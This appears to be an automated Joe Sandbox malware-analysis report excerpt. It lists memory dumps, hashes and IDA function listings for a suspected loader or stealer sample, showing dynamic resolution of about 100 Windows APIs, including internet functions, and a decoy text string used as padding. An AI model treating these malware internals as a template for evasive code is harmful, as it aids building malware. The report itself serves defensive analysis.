Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#1$P#1
API String ID: 2659868963-257667557
Opcode ID: 3f3ca00231bf249a8f6838e41993d68e5be6ba74136652b322d9803a396dc540
Instruction ID: 103fc8061df88e1ce29e0c1f91e67da422f12fcf9095133c1f70e9fd5fba28c2
Opcode Fuzzy Hash: 3f3ca00231bf249a8f6838e41993d68e5be6ba74136652b322d9803a396dc540
Instruction Fuzzy Hash: 21F0E5B591020C67C719EBE4D80688AB7ECDE15310B008A25FB94EF500F7B0FA548792

Function 00312520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00312552

Strings

P#1, xrefs: 00312547
P#1, xrefs: 0031255D

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#1$P#1
API String ID: 2659868963-257667557
Opcode ID: 56e78eb6e4a7266082e904ad7795a5927609dad7d4fadd99290d131d21779349
Instruction ID: 7f39890d83586e20d8ba2ba2cbbf3295c9a7456fe920910d737d669df9e0f964
Opcode Fuzzy Hash: 56e78eb6e4a7266082e904ad7795a5927609dad7d4fadd99290d131d21779349
Instruction Fuzzy Hash: F3F0A775D1120DABC715DF68D84199EBBF8AF55300F10C2AEE4456B200EB706A54CB95

Analysis Process: 8ec8c5c339.exePID: 8052, Parent PID: 7872COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	45

Executed Functions

Function 004195E0 Relevance: 186.2, APIs: 104, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,024A44E8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004195FD
GetProcAddress.KERNEL32(74DD0000,024A4748,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419615
GetProcAddress.KERNEL32(74DD0000,024AC3D8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041962E
GetProcAddress.KERNEL32(74DD0000,024AC3A8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419646
GetProcAddress.KERNEL32(74DD0000,024AC408,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041965E
GetProcAddress.KERNEL32(74DD0000,024AC3F0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419677
GetProcAddress.KERNEL32(74DD0000,024A9168,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041968F
GetProcAddress.KERNEL32(74DD0000,024AC348,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004196A7
GetProcAddress.KERNEL32(74DD0000,024AC360,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004196C0
GetProcAddress.KERNEL32(74DD0000,024AC378,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004196D8
GetProcAddress.KERNEL32(74DD0000,024C8DA0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004196F0
GetProcAddress.KERNEL32(74DD0000,024A45A8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419709
GetProcAddress.KERNEL32(74DD0000,024A4768,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419721
GetProcAddress.KERNEL32(74DD0000,024A4628,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419739
GetProcAddress.KERNEL32(74DD0000,024A4588,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419752
GetProcAddress.KERNEL32(74DD0000,024C8D40,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041976A
GetProcAddress.KERNEL32(74DD0000,024C8DE8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419782
GetProcAddress.KERNEL32(74DD0000,024A8D30,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041979B
GetProcAddress.KERNEL32(74DD0000,024A4788,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004197B3
GetProcAddress.KERNEL32(74DD0000,024C8DD0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004197CB
GetProcAddress.KERNEL32(74DD0000,024C8D58,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004197E4
GetProcAddress.KERNEL32(74DD0000,024C8D88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004197FC
GetProcAddress.KERNEL32(74DD0000,024C8D28,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419814
GetProcAddress.KERNEL32(74DD0000,024A45C8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041982D
GetProcAddress.KERNEL32(74DD0000,024C8DB8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419845
GetProcAddress.KERNEL32(74DD0000,024C8D70,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041985D
GetProcAddress.KERNEL32(74DD0000,024C8A58,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419876
GetProcAddress.KERNEL32(74DD0000,024C8AE8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041988E
GetProcAddress.KERNEL32(74DD0000,024C8B30,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004198A6
GetProcAddress.KERNEL32(74DD0000,024C8C50,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004198BF
GetProcAddress.KERNEL32(74DD0000,024C8C20,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004198D7
GetProcAddress.KERNEL32(74DD0000,024C8BC0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004198EF
GetProcAddress.KERNEL32(74DD0000,024C8B90,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419908
GetProcAddress.KERNEL32(74DD0000,024A8B70,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419920
GetProcAddress.KERNEL32(74DD0000,024C8C98,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419938
GetProcAddress.KERNEL32(74DD0000,024C8D10,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419951
GetProcAddress.KERNEL32(74DD0000,024A4668,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419969
GetProcAddress.KERNEL32(74DD0000,024C8BA8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419981
GetProcAddress.KERNEL32(74DD0000,024A4688,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041999A
GetProcAddress.KERNEL32(74DD0000,024C8C68,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004199B2
GetProcAddress.KERNEL32(74DD0000,024C8B00,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004199CA
GetProcAddress.KERNEL32(74DD0000,024A47C8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004199E3
GetProcAddress.KERNEL32(74DD0000,024A47E8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 004199FB
GetProcAddress.KERNEL32(75290000,024A4A68,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419AAA
GetProcAddress.KERNEL32(75290000,024C8A28,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419AC2
GetProcAddress.KERNEL32(75290000,024AC490,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419ADA
GetProcAddress.KERNEL32(75290000,024C8B78,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419AF3
GetProcAddress.KERNEL32(75290000,024A4BE8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419B0B
GetProcAddress.KERNEL32(73B70000,024A9028,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419B30
GetProcAddress.KERNEL32(73B70000,024A4948,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419B49
GetProcAddress.KERNEL32(73B70000,024A8D80,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419B61
GetProcAddress.KERNEL32(73B70000,024C8CC8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419B79
GetProcAddress.KERNEL32(73B70000,024C8CF8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419B92
GetProcAddress.KERNEL32(73B70000,024A4C08,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419BAA
GetProcAddress.KERNEL32(73B70000,024A4A08,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419BC2
GetProcAddress.KERNEL32(73B70000,024C8A40,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419BDB
GetProcAddress.KERNEL32(752C0000,024A4A88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419BFC
GetProcAddress.KERNEL32(752C0000,024A4968,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419C14
GetProcAddress.KERNEL32(752C0000,024C8A70,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419C2D
GetProcAddress.KERNEL32(752C0000,024C8A88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419C45
GetProcAddress.KERNEL32(752C0000,024A4AA8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419C5D
GetProcAddress.KERNEL32(74EC0000,024A9078,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419C83
GetProcAddress.KERNEL32(74EC0000,024A8CB8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419C9B
GetProcAddress.KERNEL32(74EC0000,024C8AA0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419CB3
GetProcAddress.KERNEL32(74EC0000,024A4BA8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419CCC
GetProcAddress.KERNEL32(74EC0000,024A4BC8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419CE4
GetProcAddress.KERNEL32(74EC0000,024A8DF8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419CFC
GetProcAddress.KERNEL32(75BD0000,024C8BF0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419D22
GetProcAddress.KERNEL32(75BD0000,024A4AE8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419D3A
GetProcAddress.KERNEL32(75BD0000,024AC4D0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419D52
GetProcAddress.KERNEL32(75BD0000,024C8C38,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419D6B
GetProcAddress.KERNEL32(75BD0000,024C8AB8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419D83
GetProcAddress.KERNEL32(75BD0000,024A4C28,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419D9B
GetProcAddress.KERNEL32(75BD0000,024A4908,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419DB4
GetProcAddress.KERNEL32(75BD0000,024C8AD0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419DCC
GetProcAddress.KERNEL32(75BD0000,024C8E78,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419DE4
GetProcAddress.KERNEL32(75A70000,024A4B08,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419E06
GetProcAddress.KERNEL32(75A70000,024C90E8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419E1E
GetProcAddress.KERNEL32(75A70000,024C8E60,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419E36
GetProcAddress.KERNEL32(75A70000,024C8ED8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419E4F
GetProcAddress.KERNEL32(75A70000,024C8FE0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419E67
GetProcAddress.KERNEL32(75450000,024A4AC8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419E88
GetProcAddress.KERNEL32(75450000,024A4B28,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419EA1
GetProcAddress.KERNEL32(75DA0000,024A48C8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419EC2
GetProcAddress.KERNEL32(75DA0000,024C8EF0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419EDA
GetProcAddress.KERNEL32(6F090000,024A4A28,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419F00
GetProcAddress.KERNEL32(6F090000,024A4B68,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419F18
GetProcAddress.KERNEL32(6F090000,024A4B48,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419F30
GetProcAddress.KERNEL32(6F090000,024C8FC8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419F49
GetProcAddress.KERNEL32(6F090000,024A4B88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419F61
GetProcAddress.KERNEL32(6F090000,024A4C48,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419F79
GetProcAddress.KERNEL32(6F090000,024A48A8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419F92
GetProcAddress.KERNEL32(6F090000,024A48E8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419FAA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419FC1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419FD7
GetProcAddress.KERNEL32(75AF0000,024C8E90,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 00419FF9
GetProcAddress.KERNEL32(75AF0000,024AC540,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A011
GetProcAddress.KERNEL32(75AF0000,024C90B8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A029
GetProcAddress.KERNEL32(75AF0000,024C9058,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A042
GetProcAddress.KERNEL32(75D90000,024A4A48,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A063
GetProcAddress.KERNEL32(6F810000,024C8F38,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A084
GetProcAddress.KERNEL32(6F810000,024A4928,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A09D
GetProcAddress.KERNEL32(6F810000,024C8F98,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A0B5
GetProcAddress.KERNEL32(6F810000,024C8F50,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: AddressProc
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 190572456-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
HeapAlloc.KERNEL32(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT(00000000), ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
